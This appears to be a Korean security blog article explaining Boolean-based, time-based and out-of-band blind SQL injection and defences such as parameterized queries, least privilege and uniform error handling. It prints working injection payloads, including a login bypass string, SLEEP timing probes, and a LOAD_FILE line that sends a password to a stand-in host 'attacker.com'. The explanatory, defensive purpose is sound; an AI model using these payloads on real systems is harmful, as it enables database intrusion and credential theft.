Blind SQL Injection의 응답 차이 악용과 방어 설계

Blind SQL Injection의 Boolean-Based·Time-Based·Out-of-band 방식과 매개변수화 쿼리 중심의 방어 방법을 정리한다.

2026-08-14 · 최초 발행 2025-05-29

화면에 보이지 않는 응답도 공격 단서가 된다

Blind SQL Injection은 SQL 실행 결과가 화면에 직접 나타나지 않는 상황에서 애플리케이션의 반응을 관찰해 데이터베이스 정보를 추출하는 방식이다. 오류 메시지가 숨겨져 있거나 조회 결과가 반환되지 않아도, 조건에 따른 페이지 변화와 응답 시간 차이가 정보 추론에 사용될 수 있다.

공격자는 SQL 조건의 참·거짓을 반복해서 확인하고, 그 결과를 비트 단위로 이어 붙여 데이터를 점진적으로 구성한다. 일반적인 SQL Injection처럼 데이터가 즉시 노출되지 않기 때문에 공격 시도를 알아차리기 어려울 수 있다.

수작업으로 반복하기에는 비효율적이므로 SQLmap, Havij 등의 자동화 도구가 널리 사용된다.

응답을 읽는 방식에 따른 공격 경로

Boolean-Based 방식

Boolean-Based Blind SQL Injection은 삽입한 조건이 참인지 거짓인지에 따라 페이지 콘텐츠나 HTTP 응답이 달라지는 지점을 이용한다.

' AND (SELECT ASCII(SUBSTRING(username,1,1)) FROM users WHERE id=1) > 97 --

위 조건은 첫 번째 사용자의 아이디 첫 글자가 ASCII 코드 97('a')보다 큰지 확인한다. 참일 때와 거짓일 때의 화면 차이를 비교하면서 범위를 좁히면 문자를 식별할 수 있고, 같은 과정을 각 위치에 반복해 전체 문자열을 복원할 수 있다.

Time-Based 방식

Time-Based Blind SQL Injection은 응답 시간이 조건에 따라 달라지는 환경을 겨냥한다.

' AND IF((SELECT ASCII(SUBSTRING(username,1,1)) FROM users WHERE id=1) > 97, SLEEP(5), 0) --

조건이 참이면 SLEEP 함수로 지연이 발생한다. 공격자는 지연 여부를 관찰해 조건의 참·거짓을 판단하고, Boolean-Based 방식과 마찬가지로 정보를 추출한다.

Out-of-band 방식

즉각적인 응답을 관찰하기 어렵고 Boolean 기반 추론도 사용할 수 없다면, 별도 통신 채널로 데이터를 보내는 Out-of-band 기법이 사용될 수 있다.

' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users WHERE id=1), '.attacker.com\\share\\a.txt')) --

이 방식에서는 DNS 요청이나 HTTP 요청을 통해 외부 서버로 데이터가 전송될 수 있으며, 공격자는 자신의 서버 로그를 분석해 정보를 획득한다.

정보가 추론되는 흐름

Time-Based 접근YesNo지연 쿼리 삽입응답 지연 발생?거짓다음 비트 추출Boolean-Based 접근YesNo쿼리 삽입페이지 반응 차이?거짓다음 비트 추출취약점 식별데이터베이스 타입 확인테이블 정보 추출컬럼 정보 추출데이터 추출

로그인과 검색 기능에서 드러나는 신호

로그인 화면이 “사용자가 존재하지 않습니다”와 “비밀번호가 일치하지 않습니다”를 구분해 표시한다면, Boolean-Based 공격의 판단 근거가 될 수 있다. 예를 들어 다음 입력 뒤 “비밀번호가 일치하지 않습니다”가 표시되면 admin이 유효한 사용자명임을 확인할 수 있다.

username: admin' AND 1=1 --
password: anything

제품 검색 기능에서는 시간 지연 쿼리가 같은 역할을 할 수 있다. 응답이 5초 지연되면 현재 데이터베이스 이름이 s로 시작함을 확인하는 시나리오다.

검색어: 노트북' AND IF(SUBSTRING(DATABASE(),1,1)='s', SLEEP(5), 0) --

쿼리와 권한에서 차단하기

가장 직접적인 대응은 사용자 입력을 문자열 결합으로 SQL에 포함하지 않는 것이다. 매개변수화된 쿼리를 사용하면 입력값과 SQL 구문을 분리할 수 있다.

// 취약한 코드
String query = "SELECT * FROM users WHERE username='" + username + "'";

// 안전한 코드
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username=?");
stmt.setString(1, username);

ORM(Object-Relational Mapping) 프레임워크도 쿼리 작성 방식을 통제하는 수단이 될 수 있다.

# Django ORM 예시
user = User.objects.get(username=username)

웹 애플리케이션 계정에는 필요한 최소한의 데이터베이스 권한만 부여해야 한다. 테이블별·작업별로 권한을 세분화하고 실행 권한(EXECUTE)은 제한적으로 사용한다.

입력값은 화이트리스트 방식으로 검증하고, SQL 특수 문자는 필터링하거나 이스케이프 처리한다. 정규식을 이용한 패턴 검증도 함께 적용할 수 있다. WAF(Web Application Firewall)는 SQL Injection 패턴과 알려진 공격 시그니처를 필터링하고 이상 행동을 모니터링하는 보조 계층이 된다.

응답과 운영 절차까지 함께 점검하기

오류 메시지는 표준화하고, 실행 시간의 일관성을 유지하며, 불필요한 상세 정보를 노출하지 않아야 한다. 클라이언트 측 검증은 보조 수단일 뿐이므로 모든 사용자 입력을 잠재적 공격 벡터로 다뤄야 한다.

상세 데이터베이스 오류 로그는 서버 내부에만 기록하고 사용자에게는 일반적인 오류 메시지를 표시한다. 정기적인 코드 감사와 자동화된 정적 분석 도구를 통해 SQL 인젝션 취약점을 확인하며, 비정상적인 데이터베이스 쿼리 패턴과 로그도 지속적으로 분석한다.

CI/CD 파이프라인에 보안 테스트를 통합하고, 정기적인 취약점 스캔 및 침투 테스트를 수행하는 운영 절차가 필요하다. Blind SQL Injection은 직접적인 데이터 반환이 없더라도 성립할 수 있으므로, 쿼리 작성·권한 관리·응답 처리·모니터링을 분리하지 않고 다층적으로 관리해야 한다.

Blind SQL InjectionSQL 인젝션웹 보안데이터베이스 보안시큐어 코딩